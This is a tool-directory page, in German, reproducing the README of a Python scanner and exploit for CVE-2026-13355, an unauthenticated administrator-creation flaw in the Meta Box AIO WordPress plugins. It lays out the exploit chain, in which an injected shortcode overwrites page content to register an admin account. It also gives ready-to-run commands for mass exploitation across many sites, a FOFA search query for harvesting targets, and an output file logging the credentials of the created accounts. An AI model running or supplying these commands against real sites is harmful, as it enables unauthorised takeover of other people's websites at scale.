Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-13355 — Python-PoC-Scanner und Exploit für CVE-2026-13355, eine unauthentifizierte Admin-Rechteausweitung in Meta Box AIO WordPress-Plugins, mit FOFA-Massenscan. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-13355
Privilege EscalationAufklärungSchwachstellenscannerExploitationScripting & AutomatisierungWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubmurrez/cve-2026-13355

CVE-2026-13355

Python-PoC-Scanner und Exploit für CVE-2026-13355, eine unauthentifizierte Admin-Rechteausweitung in Meta Box AIO WordPress-Plugins, mit FOFA-Massenscan.

25vor 24 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-13355 — Meta Box AIO Unauthentifizierte Administrator-Privilegieneskalation

Python-3-Proof-of-Concept-Scanner und Exploit für CVE-2026-13355 im WordPress-Bundle Meta Box AIO (und den zugehörigen Erweiterungen MB Frontend Submission / MB User Profile).

PlattformWordPress-Plugin
KomponenteMeta Box AIO
BetroffenMeta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0
Behoben inMeta Box AIO 3.12.0+ (Form::process()-Autorisierung)
CVSS9.8 Kritisch
AuthUnauthentifiziert
CWECWE-269 — Unsachgemäße Rechteverwaltung
Forscherh0xilo (Wordfence)

Zusammenfassung

Verkettete Schwachstellen in zwei gebündelten Erweiterungen ermöglichen die unauthentifizierte Erstellung eines Administrator-Kontos:

  1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id überschreibt das Formularziel ohne Authentifizierung; Form::process() lässt user_can_edit() weg, sodass Angreifer wp_update_post() ausführen und post_content beliebiger Beiträge/Seiten überschreiben können.
  2. MB User Profile (mbup) — Injizierte [mb_user_profile_register role="administrator" auto_login="true"]-Shortcode-Attribute werden ohne Rollenvalidierung vertraut.

Wichtig: Die Exploit-Kette erfordert ein öffentliches mbfs-Formular (Frontend Submission), nicht nur login-beschränkte mbup-Formulare. Viele FOFA-Treffer zeigen nur die mbup-Login-/Registrierungsoberfläche — diese werden als plugin_mbup_only markiert und sind über diese Kette nicht ausnutzbar.

Voraussetzungen

  • Python 3.8+
  • pip install -r requirements.txt

Schnellstart

pip install -r requirements.txt

# Einzelnes Ziel — Prüfung (standardmäßig Live-Terminal-Ablauf)
python poc.py -u https://target.example --mode check

# Massenprüfung (eine Zeile pro Ziel, außer --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Einzelnes Ziel — Exploit (benötigt mbfs-Formular-URL + Beitrags-ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Massen-Exploit aus Prüfungsausgabe
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → Zielliste

Beispielabfrage:

body="/wp-content/plugins/meta-box-aio/"

FOFA-CSV-Export normalisieren:

python fofa_to_list.py -i fofa_export.csv
# schreibt list.txt + normalisierte CSV (nur lokal, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLI-Optionen

OptionBeschreibung
-u, --urlEinzelne Basis-URL
--listURL-Liste, FOFA-normalisierte CSV (url-Spalte) oder candidates.jsonl
--modecheck oder exploit
--form-urlSeite mit [mb_frontend_form ...] / mbfs-form
--object-idBeitrags-/Seiten-ID für rwmb_frontend_field_object_id
--pathsZusätzliche Pfade zum Crawlen nach Frontend-Formularen
--username, --email, --passwordRegistrierungs-Anmeldedaten (Exploit)
--shortcodeInjizierte post_content-Nutzlast (Standard: Admin-Registrierungs-Shortcode)
--verifyBestätigung über /wp-admin/ oder wp-login.php nach der Registrierung
--flowEine Zeile pro Ziel bei Massenläufen streamen (Standard bei --list)
--no-flowNur Fortschrittszusammenfassung
--quiet, -qMinimale Konsolenausgabe
--threads, -jMassenparallelität (Standard 15)
--outputJSONL-Protokoll (Standard cve_2026_13355_results.jsonl)
--vuln-listText-Treffer / ausgenutzte Zeilen (Standard hits.txt / exploited.txt für Exploit verwenden)
--candidates-listPrüfungs-Metadaten-JSONL (Standard candidates.jsonl)

Ausgabedateien

DateiModusInhalt
cve_2026_13355_results.jsonlbeideVollständiges JSON pro Ziel
hits.txtcheckURLs mit candidate_mbfs
candidates.jsonlcheckform_url, object_id, Versionshinweise
exploited.txtexploiturl|user|email|pass|oid=…

Verwenden Sie --vuln-list exploited.txt bei Exploit-Läufen, damit Prüfungstreffer in hits.txt nicht überschrieben werden.

Prüfungs-status-Werte

StatusBedeutung
candidate_mbfsPlugin vorhanden + MB Frontend Submission-Formular gefunden (Exploit möglicherweise möglich)
plugin_mbup_onlyNur User-Profile-Login-/Registrierungsformulare — nicht diese CVE-Kette
plugin_no_frontend_formsPlugin-Fingerabdruck, keine rwmb-Frontend-Formulare entdeckt
patchedVersion über dem betroffenen Bereich (sofern lesbar)
no_pluginMeta Box AIO / Erweiterungen nicht erkannt

Exploit-Hinweise

  • Der Poison-Schritt sendet post_content über ein mbfs-Formular mit ?rwmb_frontend_field_object_id=<id>.
  • Erfolg erfordert, dass der injizierte Shortcode auf der vergifteten Seite gerendert wird (kein Strip/KSES, gepatchtes Plugin, falscher Formulartyp).
  • Kontakt-/Newsletter-mbfs-Formulare haben oft kein echtes post_content-Feld; das Überschreiben kann in der Praxis dennoch fehlschlagen.
  • HTTP 403 bei POST deutet meist auf WAF-/Host-Blockierung hin.

Repository-Struktur

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Lokale Scan-Listen und Laufzeit-Artefakte (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sind in .gitignore und sollten nicht committet werden.

Referenzen

  • NVD — CVE-2026-13355
  • Wordfence-Advisory
  • Meta Box AIO Changelog

Rechtliches

Nur für autorisiertes Sicherheitstesting und Bildung. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.

Tool herunterladen